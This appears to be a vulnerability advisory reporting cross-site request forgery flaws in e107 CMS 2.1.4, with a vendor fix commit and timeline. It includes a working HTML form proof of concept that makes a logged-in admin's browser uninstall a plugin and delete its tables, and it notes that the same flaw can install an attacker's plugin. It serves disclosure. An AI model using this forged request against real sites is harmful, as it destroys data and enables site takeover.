e107 CMS 2.1.4 - Cross-Site Request Forgery

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Title:Mutiple CSRF vulnerabilities in e107 CMS 2.1.4
Author:Zhiyang Zeng

Product:
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e107 is a powerful website content management system designed for bootstrap v3 from http://e107.org/get-started
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Fix
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Fixed in git source code https://github.com/e107inc/e107/commit/7a3e3d9fc7e05ce6941b9af1c14010bf2141f1a5
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Summary
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e107 CMS version 2.1.4 is vulnerable to cross-site request forgery in plugin-installing,meta-changingand settings-changing,a malicious web page can use
forged requests to make e107 download and install a plug-in provided by the attacker.
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Timeline
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2017-03-01   report to vendor
2017-03-02  GitHub commit to fix token missing
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 Reproduce:
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I just give a uninstall any plugins POC.

vul address:http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php

POC:
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<form action="http://127.0.0.1/e107_2.1.4_full/e107_admin/plugin.php?uninstall.8" method="post">
<input type="text" name="delete_tables" value="1">
<input type="text" name="delete_ipool" value="1">
<input type="text" name="delete_files" value="0">
<input type="text" name="uninstall_confirm" value="Confirm uninstall">
<input type="submit" name="submit">
</form>

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Description:
I try to uninstall plugin  gallery which id is 8.

visiting beyond POC page, you will find gallery plugin has been uninstalled success!
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